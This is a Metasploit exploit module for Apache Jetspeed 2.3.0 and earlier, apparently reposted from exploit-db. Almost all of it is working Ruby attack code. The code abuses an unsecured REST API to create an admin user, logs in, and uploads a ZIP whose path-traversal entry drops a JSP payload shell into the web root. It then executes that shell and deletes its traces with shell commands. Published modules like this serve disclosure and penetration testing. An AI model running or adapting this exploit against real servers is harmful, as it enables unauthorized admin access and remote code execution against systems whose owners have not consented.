Apache Jetspeed – Arbitrary File Upload (Metasploit)

  • 作者: Metasploit
    日期: 2016-03-31
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39643/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
    Rank = ManualRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Apache Jetspeed Arbitrary File Upload',
    'Description'=> %q{
    This module exploits the unsecured User Manager REST API and a ZIP file
    path traversal in Apache Jetspeed-2, versions 2.3.0 and unknown earlier
    versions, to upload and execute a shell.
    
    Note: this exploit will create, use, and then delete a new admin user.
    
    Warning: in testing, exploiting the file upload clobbered the web
    interface beyond repair. No workaround has been found yet. Use this
    module at your own risk. No check will be implemented.
    },
    'Author' => [
    'Andreas Lindh', # Vulnerability discovery
    'wvu'# Metasploit module
    ],
    'References' => [
    ['CVE', '2016-0710'],
    ['CVE', '2016-0709'],
    ['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],
    ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],
    ['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']
    ],
    'DisclosureDate' => 'Mar 6 2016',
    'License'=> MSF_LICENSE,
    'Platform' => ['linux', 'win'],
    'Arch' => ARCH_JAVA,
    'Privileged' => false,
    'Targets'=> [
    ['Apache Jetspeed <= 2.3.0 (Linux)', 'Platform' => 'linux'],
    ['Apache Jetspeed <= 2.3.0 (Windows)', 'Platform' => 'win']
    ],
    'DefaultTarget'=> 0
    ))
    
    register_options([
    Opt::RPORT(8080)
    ])
    end
    
    def print_status(msg='')
    super("#{peer} - #{msg}")
    end
    
    def print_warning(msg='')
    super("#{peer} - #{msg}")
    end
    
    def exploit
    print_status("Creating admin user: #{username}:#{password}")
    create_admin_user
    # This was originally a typo... but we're having so much fun!
    print_status('Kenny Loggins in')
    kenny_loggins
    print_warning('You have entered the Danger Zone')
    print_status("Uploading payload ZIP: #{zip_filename}")
    upload_payload_zip
    print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")
    exec_jsp_shell
    end
    
    def cleanup
    print_status("Deleting user: #{username}")
    delete_user
    super
    end
    
    #
    # Exploit methods
    #
    
    def create_admin_user
    send_request_cgi(
    'method'=> 'POST',
    'uri' => '/jetspeed/services/usermanager/users',
    'vars_post' => {
    'name' => username,
    'password' => password,
    'password_confirm' => password
    }
    )
    send_request_cgi(
    'method'=> 'POST',
    'uri' => "/jetspeed/services/usermanager/users/#{username}",
    'vars_post' => {
    'user_enabled' => 'true',
    'roles'=> 'admin'
    }
    )
    end
    
    def kenny_loggins
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> '/jetspeed/login/redirector'
    )
    
    res = send_request_cgi!(
    'method'=> 'POST',
    'uri' => '/jetspeed/login/j_security_check',
    'cookie'=> res.get_cookies,
    'vars_post' => {
    'j_username' => username,
    'j_password' => password
    }
    )
    
    @cookie = res.get_cookies
    end
    
    # Let's pretend we're mechanize
    def import_file
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> '/jetspeed/portal/Administrative/site.psml',
    'cookie' => @cookie
    )
    
    html = res.get_html_document
    import_export = html.at('//a[*//text() = "Import/Export"]/@href')
    
    res = send_request_cgi!(
    'method' => 'POST',
    'uri'=> import_export,
    'cookie' => @cookie
    )
    
    html = res.get_html_document
    html.at('//form[*//text() = "Import File"]/@action')
    end
    
    def upload_payload_zip
    zip = Rex::Zip::Archive.new
    zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)
    
    mime = Rex::MIME::Message.new
    mime.add_part(zip.pack, 'application/zip', 'binary',
    %Q{form-data; name="fileInput"; filename="#{zip_filename}"})
    mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')
    mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')
    
    case target['Platform']
    when 'linux'
    register_files_for_cleanup("../webapps/jetspeed/#{jsp_filename}")
    register_files_for_cleanup("../temp/#{username}/#{zip_filename}")
    when 'win'
    register_files_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")
    register_files_for_cleanup("..\\temp\\#{username}\\#{zip_filename}")
    end
    
    send_request_cgi(
    'method' => 'POST',
    'uri'=> import_file,
    'ctype'=> "multipart/form-data; boundary=#{mime.bound}",
    'cookie' => @cookie,
    'data' => mime.to_s
    )
    end
    
    def exec_jsp_shell
    send_request_cgi(
    'method' => 'GET',
    'uri'=> "/jetspeed/#{jsp_filename}",
    'cookie' => @cookie
    )
    end
    
    #
    # Cleanup methods
    #
    
    def delete_user
    send_request_cgi(
    'method' => 'DELETE',
    'uri'=> "/jetspeed/services/usermanager/users/#{username}"
    )
    end
    
    # XXX: This is a hack because FileDropper doesn't delete directories
    def on_new_session(session)
    super
    case target['Platform']
    when 'linux'
    print_status("Deleting user temp directory: ../temp/#{username}")
    session.shell_command_token("rm -rf ../temp/#{username}")
    when 'win'
    print_status("Deleting user temp directory: ..\\temp\\#{username}")
    session.shell_command_token("rd /s /q ..\\temp\\#{username}")
    end
    end
    
    #
    # Utility methods
    #
    
    def username
    @username ||= Rex::Text.rand_text_alpha_lower(8)
    end
    
    def password
    @password ||= Rex::Text.rand_text_alphanumeric(8)
    end
    
    def jsp_filename
    @jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
    end
    
    def zip_filename
    @zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
    end
    
    end